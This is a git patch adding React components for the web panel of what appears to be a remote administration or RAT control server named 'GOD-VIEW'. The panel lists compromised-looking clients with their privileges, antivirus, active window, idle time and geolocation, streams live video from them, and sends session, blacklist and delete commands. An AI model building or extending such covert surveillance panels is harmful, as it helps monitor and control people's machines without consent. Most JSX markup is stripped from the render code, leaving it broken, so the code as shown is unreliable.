From 58ebd3bc0f00c532e97e9a5571471ffab87934ba Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 10:39:49 +0200 Subject: GOD-VIEW --- server/web/src/components/Alert.tsx | 14 + server/web/src/components/Card.tsx | 80 +++++ server/web/src/components/Footer.tsx | 347 +++++++++++++++++++++ server/web/src/components/Select.tsx | 56 ++++ server/web/src/components/Server.tsx | 571 ++++++++++++++++++++++++++++++++++ server/web/src/components/Sidebar.tsx | 136 ++++++++ server/web/src/components/Window.tsx | 308 ++++++++++++++++++ 7 files changed, 1512 insertions(+) create mode 100644 server/web/src/components/Alert.tsx create mode 100644 server/web/src/components/Card.tsx create mode 100644 server/web/src/components/Footer.tsx create mode 100644 server/web/src/components/Select.tsx create mode 100644 server/web/src/components/Server.tsx create mode 100644 server/web/src/components/Sidebar.tsx create mode 100644 server/web/src/components/Window.tsx (limited to 'server/web/src/components') diff --git a/server/web/src/components/Alert.tsx b/server/web/src/components/Alert.tsx new file mode 100644 index 0000000..3b69cdf --- /dev/null +++ b/server/web/src/components/Alert.tsx @@ -0,0 +1,14 @@ +// @ts-nocheck +import { AlertButton, AlertButtonCross } from '../design/components/Alert.design'; +import React from 'react'; + +export const AlertTemplate = ({ style, options, message, close }) => ( + + {message} + {options.type === 'SUCCESS' && '!'} + {options.type === 'DANGER' && '.'} + {options.type === 'WARNING' && '.'} + {options.type === 'INFO' && '.'} + x + +); diff --git a/server/web/src/components/Card.tsx b/server/web/src/components/Card.tsx new file mode 100644 index 0000000..f0e7c0e --- /dev/null +++ b/server/web/src/components/Card.tsx @@ -0,0 +1,80 @@ +import { IProps, IState } from '../interfaces/components/Card.interface'; +import { FaRedo, FaTrash } from 'react-icons/fa'; +import React, { Component } from 'react'; +import svg from 'plyr/dist/plyr.svg'; +import 'plyr/dist/plyr.css'; +import flvjs from 'flv.js'; +import Plyr from 'plyr'; +import { + CardContainer, + CardHeader, + CardFooter, + CardFooterItem +} from '../design/components/Card.design'; + +class Card extends Component { + videoRef: any = React.createRef(); + plyrPlayer: any; + flvPlayer: any; + + componentDidMount() { + const video = this.videoRef.current; + this.createFlvPlayer(); + + this.plyrPlayer = new Plyr(video, { + iconUrl: svg, + controls: [ + 'play-large', + 'play', + 'progress', + 'mute', + 'volume', + 'fullscreen' + ] + }); + } + + createFlvPlayer = () => { + const video = this.videoRef.current; + const { source } = this.props; + + this.flvPlayer = flvjs.createPlayer({ + type: 'flv', + isLive: true, + url: source + }); + this.flvPlayer.attachMediaElement(video); + this.flvPlayer.load() + } + + reload = () => { + this.flvPlayer.destroy(); + this.createFlvPlayer(); + } + + remove = () => { + const { source, title } = this.props; + this.props.removeStream({ source, title }); + } + + render() { + const { source, title } = this.props; + + return ( + + {title}: {source} + + ) + } +} + +export default Card; diff --git a/server/web/src/components/Footer.tsx b/server/web/src/components/Footer.tsx new file mode 100644 index 0000000..4814fda --- /dev/null +++ b/server/web/src/components/Footer.tsx @@ -0,0 +1,347 @@ +import { IProps, IState } from '../interfaces/components/Footer.interface'; +import React, { Component, Fragment } from 'react'; +import Window from './Window'; +import { + FooterDropdown, + FooterDropdownToggle, + FooterDropdownContent, + FooterNameSpaceButton, + FooterDropdownButton, + FooterWindowManager, + FooterWindowButton, + FooterWindowClear, + FooterBlock, + FooterMenu, + FooterParagraph +} from '../design/components/Footer.design'; +import { + FaChevronDown, + FaChevronUp, + FaLink, + FaListUl, + FaPlus, + FaMinus, + FaSyncAlt, + FaTrash +} from 'react-icons/fa'; + +class Footer extends Component { + winManager: any = React.createRef(); + column = 0; + row = 0; + + state = { + showHelp: false, + address: '', + windows: [], + help: {} + }; + + componentDidMount() { + window.eel.host_eel()((address: string) => + window.eel.help_eel()((help: object) => + this.setState({ address: address, help: help }) + ) + ); + } + + componentDidUpdate() { + this.column = 0; + this.row = 0; + } + + createWindow = ( + requestType: string, + argsArray: any, + windowData: string + ) => { + const newWindow = [ + requestType, + argsArray, + React.createRef(), + true, + windowData ? [windowData] : null + ]; + + const windows: any = [...this.state.windows]; + let undefinedExists = false; + + for (let i = 0; i < windows.length; i++) + if (windows[i] === undefined) { + windows[i] = newWindow; + undefinedExists = true; + break; + } + + if (!undefinedExists) + windows.push(newWindow); + + this.setState({ windows: windows }); + }; + + removeWindow = (index: number) => (event: any) => { + const windows = [...this.state.windows]; + delete windows[index]; + + windows.filter(Boolean).length === 0 + ? this.clearWindows() + : this.setState({ windows }); + + event.stopPropagation(); + }; + + clearWindows = () => { + this.winManager.current.style.zIndex = 1; + this.setState({ windows: [] }); + }; + + windowPosition = () => { + if (this.column === 5) { + this.column = 0; + this.row++; + } + + this.column++; + + return { + // CONSTANT : px for every row and column (left & top) + x: this.column * 25 + this.row * 25, + y: this.column * 25 + 40 + this.row + }; + }; + + windowHighlight = (ref: any) => { + const newZIndex = Number(this.winManager.current.style.zIndex) + 1 + this.winManager.current.style.zIndex = newZIndex; + ref.current.window.current.style.zIndex = newZIndex; + }; + + windowToggle = (show: boolean, window: any) => { + const windows: any[] = [...this.state.windows]; + const index: number = windows.indexOf(window); + windows[index][3] = show; + + this.windowHighlight(window[2]); + this.setState({ windows }); + + if (!show) window[2].current.window.current.style.display = 'none'; + else window[2].current.window.current.style.display = 'block'; + }; + + windowCenter = (window: any) => (event: any) => { + this.windowToggle(true, window); + // CONSTANT : based on default styles from the CSS of the window + // (height & width) & the values of each column & row (left & top) + window[2].current.window.current.style.height = '55vh'; + window[2].current.window.current.style.width = '40vw'; + window[2].current.window.current.style.left = '25px'; + window[2].current.window.current.style.top = '65px'; + + event.stopPropagation(); + }; + + createWindowEvent = (requestType: string, argsArray: any) => () => { + if (argsArray.length > 0) this.createWindow(requestType, argsArray, ''); + else + window.eel.execute_eel({ + message: requestType.toLowerCase() + })((response: any) => { + response !== null + ? response.alert + ? window.showAlert({ + message: response.message, + type: response.type + }) + : this.createWindow(requestType, argsArray, response) + : window.showAlert({ + message: `${requestType} Request Executed`, + type: 'INFO' + }); + }); + }; + + windowHighlightEvent = (ref: any) => () => this.windowHighlight(ref); + + windowToggleEvent = (show: boolean, window: any) => (event: any) => { + this.windowToggle(show, window); + event.stopPropagation(); + }; + + launchWebVersion = (event: any) => { + if (event.ctrlKey) { + window.open(window.location.href, '_blank'); + window.showAlert({ + message: 'Web Version Launched', + type: 'INFO' + }); + } else if (event.altKey) { + const request = new XMLHttpRequest(); + request.open('GET', '/logout'); + request.send(); + window.location.reload(); + } + }; + + showHelpToggle = () => this.setState({ showHelp: !this.state.showHelp }); + + render() { + const { showHelp, address, windows, help } = this.state; + + return ( + + + + {showHelp ? ( + + ) : ( + + )} + + + + {Object.entries(help).map( + ([namespace, requests]: any, index: number) => ( + + + {namespace} + {' '} + {requests.map( + ( + [ + available, + requestType, + argsString, + argsArray + ]: any[], + i: number + ) => ( + + {available === 'Session' ? ( + + ) : null}{' '} + {argsString ? ( + + ) : null}{' '} + {requestType} + + ) + )} + + ) + )} + + + + +
+ {windows.length > 0 ? ( + + + Clear Windows + + {windows.map((window: any, index: number) => ( + + {window !== undefined ? ( + + + + {window[0]}{' '} + {window[3] ? ( + + ) : ( + + )}{' '} + {' '} + + + + ) : null} + + ))} + + ) : ( + + No Active Windows To Manage + + )} +
+
+ + + + {`Listening Address: ${address}`} + + +
+ ); + } +} + +export default Footer; diff --git a/server/web/src/components/Select.tsx b/server/web/src/components/Select.tsx new file mode 100644 index 0000000..76809f6 --- /dev/null +++ b/server/web/src/components/Select.tsx @@ -0,0 +1,56 @@ +import { SelectContainer, SelectRow } from '../design/components/Select.design'; +import { ISelect, IState } from '../interfaces/components/Select.interface'; +import React, { Component } from 'react'; +import { + FaUserPlus, + FaUserMinus, + FaBan, + FaUnlockAlt, + FaTrash +} from 'react-icons/fa'; + +class Select extends Component { + render() { + const { + show, + top, + left, + sessionAdd, + sessionRemove, + blacklistAdd, + blacklistRemove, + clientRemove + } = this.props; + + return show ? ( + + + Session + Add + + + Session + Remove + + + Blacklist + Add + + + {' '} + Blacklist Remove + + + Delete + + + ) : null; + } +} + +export default Select; diff --git a/server/web/src/components/Server.tsx b/server/web/src/components/Server.tsx new file mode 100644 index 0000000..c581cf6 --- /dev/null +++ b/server/web/src/components/Server.tsx @@ -0,0 +1,571 @@ +import { IProps, IState } from '../interfaces/components/Server.interface'; +import { clientsLoad, sessionLoad } from '../redux/actions'; +import { IClient } from '../interfaces/Client.interface'; +import React, { Component, Fragment } from 'react'; +import { connect } from 'react-redux'; +import Sidebar from './Sidebar'; +import Footer from './Footer'; +import Select from './Select'; +import { + ServerTable, + ServerTableHead, + ServerTableBody, + ServerTableRow, + ServerTableHeader, + ServerTableData, + ServerTableImage, + ServerTableBarBg, + ServerTableBar, + ServerBlock +} from '../design/components/Server.design'; + +class Server extends Component { + tableBody: any = React.createRef(); + touchStartMenuTimestamp = 0; + touchEndMenuTimestamp = 0; + lastSelected: any = null; + // CONSTANT : assumes these are + // the same on the server side + displayKeys = [ + 'Row', + 'Country', + 'Connect IP', + 'Unique ID', + 'Username', + 'Hostname', + 'Privileges', + 'Antivirus', + 'Operating System', + 'CPU', + 'GPU', + 'RAM', + 'Active Window', + 'Idle Time', + 'Resource Usage' + ] + displayValues = [ + 'username', + 'hostname', + 'privileges', + 'antivirus', + 'operating_system', + 'cpu', + 'gpu', + 'ram' + ] + hiddenKeys = [ + 'Initial Connect', + 'Filepath', + 'Running', + 'Build Name', + 'Build Version', + 'OS Version', + 'System Locale', + 'System Uptime', + 'PC Manufacturer', + 'PC Model', + 'MAC Address', + 'External IP', + 'Local IP', + 'Timezone', + 'Country Code', + 'Region', + '~City', + '~Zip Code', + '~Latitude', + '~Longitude' + ] + hiddenValues = [ + 'initial_connect', + 'filepath', + 'running', + 'build_name', + 'build_version', + 'os_version', + 'system_locale', + 'system_uptime', + 'pc_manufacturer', + 'pc_model', + 'mac_address', + 'external_ip', + 'local_ip', + 'timezone', + 'country_code', + 'region', + 'city', + 'zip_code', + 'latitude', + 'longitude' + ] + + constructor(props: IProps) { + super(props); + + this.state = { + selectData: { show: false }, + clients: props.clients, + session: props.session + }; + } + + componentDidMount() { + const { clientsLoad, sessionLoad } = this.props; + + window.addEventListener('click', () => { + this.setState({ selectData: { show: false } }); + this.clearSelected(); + }); + + window.eel.clients_eel()((clients: Map) => + window.eel.session_eel()((session: Set) => { + clientsLoad(clients); + sessionLoad(session); + }) + ); + } + + sessionAdd = () => { + const selected = this.allSelected('unique-id'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'session', + id: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Client${this.plural(selected)} Added To Session`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + sessionRemove = () => { + const selected = this.allSelected('unique-id'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'session', + id: selected.join(','), + remove: true, + })((response: string) => console.log(response)); + window.showAlert({ + message: `Client${this.plural(selected)} Removed From Session`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + blacklistAdd = () => { + const selected = this.allSelected('connect-ip'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'blacklist', + add: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Blacklist Address${this.plural(selected, 'es')} Added`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + blacklistRemove = () => { + const selected = this.allSelected('connect-ip'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'blacklist', + remove: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Blacklist Address${this.plural(selected, 'es')} Removed`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + clientRemove = () => { + const selected = this.allSelected('unique-id'); + const length = selected.length; + + if (length > 0) { + window.eel.execute_eel({ + message: 'delete', + id: selected.join(','), + })((response: string) => console.log(response)); + window.showAlert({ + message: `Client${this.plural(selected)} Removed`, + type: 'SUCCESS', + }); + } else this.selectMenuError(); + }; + + clipboard = (data: string) => (event: any) => { + if (event.altKey) { + if (window.isSecureContext) { + window.navigator.clipboard.writeText(data); + window.showAlert({ + message: 'Field Copied To Clipboard', + type: 'SUCCESS' + }); + } else + window.showAlert({ + message: 'Clipboard Failed', + type: 'DANGER', + }); + + event.stopPropagation(); + event.preventDefault(); + } + }; + + selectMenuError = () => window.showAlert({ + message: 'Select Menu Error', + type: 'DANGER', + }); + + plural = (array: string[], end = 's') => + array.length === 1 ? '' : end; + + errorFlag = (event: any) => + // CONSTANT : placeholder flag name + event.currentTarget.src = './static/flags/placeholder.png'; + + properties = (client: IClient) => { + let result: string[] | string = []; + + for (let i = 0; i < this.hiddenValues.length; i++) { + const value = (client as any)[this.hiddenValues[i]]; + const key = this.hiddenKeys[i]; + result.push(`${key}: ${value}`); + } + + return this.propertiesResult(result.join('\n')); + }; + + propertiesResult = (result: string) => ({ + onContextMenu: this.clipboard(result), + title: result + }); + + menu = (event: any) => + this.isSelected(event.currentTarget) && + this.setState({ + selectData: { + show: true, + // CONSTANT : when to swap menu horizontally (right to left) + left: + window.innerWidth - event.clientX < 165 + ? event.clientX - 136 + : event.clientX, + // CONSTANT : when to swap menu vertically (bottom to top) + top: + window.innerHeight - event.clientY < 165 + ? event.clientY - 150 + : event.clientY, + sessionAdd: this.sessionAdd, + sessionRemove: this.sessionRemove, + blacklistAdd: this.blacklistAdd, + blacklistRemove: this.blacklistRemove, + clientRemove: this.clientRemove + }, + }); + + touchStartMenu = (event: any) => + (this.touchStartMenuTimestamp = event.timeStamp); + + touchEndMenu = (event: any) => { + this.touchEndMenuTimestamp = event.timeStamp; + // CONSTANT : hold down touch time + this.touchEndMenuTimestamp - this.touchStartMenuTimestamp > 300 && + this.menu(event); + }; + + select = (event: any) => { + this.setState({ selectData: { show: false } }); + const current = event.currentTarget; + + if (event.ctrlKey) { + if (this.isSelected(current)) { + this.removeSelected(current); + this.lastSelected = null; + } else { + this.addSelected(current); + this.lastSelected = current; + } + } else if (event.shiftKey) { + const rows = this.tableBody.current.rows; + let currentPosition = 0; + let latestPosition = 0; + + for (let i = 0; i < rows.length; i++) + if (rows[i] === current) currentPosition = i; + else if (rows[i] === this.lastSelected) latestPosition = i; + + this.rangeSelect(rows, currentPosition, latestPosition); + } else this.singleSelect(current); + + event.stopPropagation(); + }; + + singleSelect = (row: any) => { + const rows = this.tableBody.current.rows; + let currentSelected = false, + otherSelected = false; + + for (let i = 0; i < rows.length; i++) + if (rows[i] !== row) { + if (this.isSelected(rows[i])) { + if (!otherSelected) otherSelected = true; + this.removeSelected(rows[i]); + } + } else if (this.isSelected(row)) currentSelected = true; + + if (currentSelected && !otherSelected) { + this.removeSelected(row); + this.lastSelected = null; + } else { + this.addSelected(row); + this.lastSelected = row; + } + }; + + rangeSelect = (rows: any, start: number, end: number) => { + if (this.lastSelected !== rows[start]) { + if (start > end) { + let n = start; + start = end; + end = n; + } + + for (let i = 0; i < rows.length; i++) + if (i >= start && i <= end) { + if (!this.isSelected(rows[i])) this.addSelected(rows[i]); + } else if (this.isSelected(rows[i])) this.removeSelected(rows[i]); + } else this.singleSelect(this.lastSelected); + }; + + allSelected = (dataAttribute: string) => { + let result = []; + + if (this.tableBody.current !== null) { + const rows = this.tableBody.current.rows; + + for (let i = 0; i < rows.length; i++) + if (this.isSelected(rows[i])) + result.push(rows[i].getAttribute(`data-${dataAttribute}`)); + } + + return result; + }; + + clearSelected = () => { + if (this.tableBody.current !== null) { + const rows = this.tableBody.current.rows; + this.lastSelected = null; + + for (let i = 0; i < rows.length; i++) + if (this.isSelected(rows[i])) this.removeSelected(rows[i]); + } + }; + + addSelected = (row: any) => { + row.setAttribute('data-selected', ''); + row.style.backgroundColor = 'rgb(0, 40, 80)'; + }; + + removeSelected = (row: any) => { + row.removeAttribute('data-selected'); + row.removeAttribute('style'); + }; + + isSelected = (row: any) => row.hasAttribute('data-selected'); + + render() { + const { clients, session } = this.props; + const { selectData } = this.state; + + return ( + + {clients.size > 0 ? ( + + + + {this.displayKeys.map((category: string, index: number) => ( + + {category} + + ))} + + + + {Array.from(clients.entries()).map(([unique_id, client]: [string, IClient], row: number) => ( + + + {row + 1} + + + + + + {client.country} + + + + + {client.connect_ip} + + + + {unique_id} + + + {this.displayValues.map( + (displayValue: string, column: number) => ( + + {(client as any)[displayValue]} + + ) + )} + + + {client.active_window ? client.active_window : '...'} + + + + {client.idle_time ? client.idle_time : '...'} + + + + {client.resource_usage ? ( + // CONSTANT : cpu/ram + client.resource_usage + .split('/') + .map((bar: string) => ( + + + + )) + ) : '...'} + + + ))} + + + ) : ( + No Clients Connected + )} + +